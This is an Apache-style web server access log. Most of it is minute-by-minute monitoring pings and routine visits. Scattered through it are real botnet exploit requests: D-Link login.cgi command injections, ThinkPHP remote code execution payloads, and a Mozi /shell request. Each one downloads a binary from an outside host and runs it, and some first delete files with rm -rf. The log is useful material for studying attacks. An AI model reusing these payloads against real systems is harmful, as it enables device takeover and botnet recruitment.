212.91.246.72 - - [10/Feb/2020:16:23:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:16:24:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:16:25:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:16:26:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:16:27:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:16:28:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.7.155.141 - - [10/Feb/2020:16:28:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [10/Feb/2020:16:28:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [10/Feb/2020:16:29:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [10/Feb/2020:16:29:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [10/Feb/2020:16:29:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.7.155.141 - - [10/Feb/2020:16:29:40 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [10/Feb/2020:16:30:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.144.135.122 - - [10/Feb/2020:16:31:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:16:31:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.104.57.60 - - [10/Feb/2020:16:32:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:16:32:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:16:33:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:16:34:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
51.235.93.164 - - [10/Feb/2020:16:35:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
1.52.177.212 - - [10/Feb/2020:16:35:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:16:35:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.163.41.12 - - [10/Feb/2020:16:36:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:16:36:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:16:37:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:16:38:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:16:39:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.132.49.121 - - [10/Feb/2020:16:40:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:16:40:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.152.62.180 - - [10/Feb/2020:16:40:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [10/Feb/2020:16:41:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.26.96 - - [10/Feb/2020:16:41:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:16:42:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:16:43:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.10.10.164 - - [10/Feb/2020:16:44:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:16:44:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.115.202.169 - - [10/Feb/2020:16:45:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:16:45:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.122.207.56 - - [10/Feb/2020:16:46:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
131.221.105.88 - - [10/Feb/2020:16:46:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:16:46:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:16:47:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:16:48:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
62.197.216.63 - - [10/Feb/2020:16:48:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [10/Feb/2020:16:49:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
159.192.121.35 - - [10/Feb/2020:16:49:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:16:50:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.123.16.108 - - [10/Feb/2020:16:50:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
176.114.224.102 - - [10/Feb/2020:16:51:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:16:51:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
168.121.139.66 - - [10/Feb/2020:16:51:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:16:52:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.169.29 - - [10/Feb/2020:16:53:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:16:53:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:16:54:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:16:55:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
110.9.148.211 - - [10/Feb/2020:16:56:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:16:56:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:16:57:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:16:58:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
115.49.10.231 - - [10/Feb/2020:16:59:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:16:59:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:17:00:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:17:01:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:17:02:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
206.253.224.14 - - [10/Feb/2020:17:03:23 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; oBot/2.3.1; http://www.xforce-security.com/crawler/)"
206.253.224.14 - - [10/Feb/2020:17:03:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; oBot/2.3.1; http://www.xforce-security.com/crawler/)"
206.253.224.14 - - [10/Feb/2020:17:03:23 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; oBot/2.3.1; http://www.xforce-security.com/crawler/)"
206.253.224.14 - - [10/Feb/2020:17:03:24 +0100] "HEAD / HTTP/1.1" 200 - "-" "Mozilla/5.0 (compatible; oBot/2.3.1; http://www.xforce-security.com/crawler/)"
206.253.224.14 - - [10/Feb/2020:17:03:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; oBot/2.3.1; http://www.xforce-security.com/crawler/)"
212.91.246.72 - - [10/Feb/2020:17:03:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
111.35.35.18 - - [10/Feb/2020:17:03:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
84.102.58.7 - - [10/Feb/2020:17:03:47 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [10/Feb/2020:17:04:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:17:05:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:17:06:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
131.117.215.218 - - [10/Feb/2020:17:06:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:17:07:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.190.107 - - [10/Feb/2020:17:08:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:17:08:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:17:09:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:17:10:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:17:11:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:17:12:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.212.60.151 - - [10/Feb/2020:17:13:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:17:13:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.132.145.46 - - [10/Feb/2020:17:14:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
89.233.219.46 - - [10/Feb/2020:17:14:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:17:14:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:17:15:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:17:16:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.235.227.115 - - [10/Feb/2020:17:16:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
112.27.187.117 - - [10/Feb/2020:17:16:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [10/Feb/2020:17:17:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:17:18:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.125.104.93 - - [10/Feb/2020:17:18:46 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://119.125.104.93:44811/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 404 310 "-" "Hello, world"
212.91.246.72 - - [10/Feb/2020:17:19:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:17:20:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:17:21:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:17:22:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
61.133.194.58 - - [10/Feb/2020:17:23:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:17:23:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
221.125.44.233 - - [10/Feb/2020:17:24:27 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
212.91.246.72 - - [10/Feb/2020:17:24:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:17:25:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.229.172 - - [10/Feb/2020:17:26:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:17:26:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:17:27:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.62.21.234 - - [10/Feb/2020:17:27:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:17:28:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:17:29:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.105.245.170 - - [10/Feb/2020:17:30:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [10/Feb/2020:17:30:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:17:31:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:17:32:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
39.104.236.246 - - [10/Feb/2020:17:32:47 +0100] "GET /FCKeditor/fckconfig.js HTTP/1.1" 404 342 "-" "python-requests/2.22.0"
212.91.246.72 - - [10/Feb/2020:17:33:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.216.245.215 - - [10/Feb/2020:17:33:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [10/Feb/2020:17:34:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:17:35:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:17:36:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.23.99.94 - - [10/Feb/2020:17:36:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:17:37:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:17:38:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
39.104.236.246 - - [10/Feb/2020:17:39:00 +0100] "GET /ueditor/net/controller.ashx HTTP/1.1" 404 347 "-" "python-requests/2.22.0"
212.91.246.72 - - [10/Feb/2020:17:39:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:17:40:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.76.93.92 - - [10/Feb/2020:17:40:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
42.118.201.42 - - [10/Feb/2020:17:41:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:17:41:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:17:42:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:17:43:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
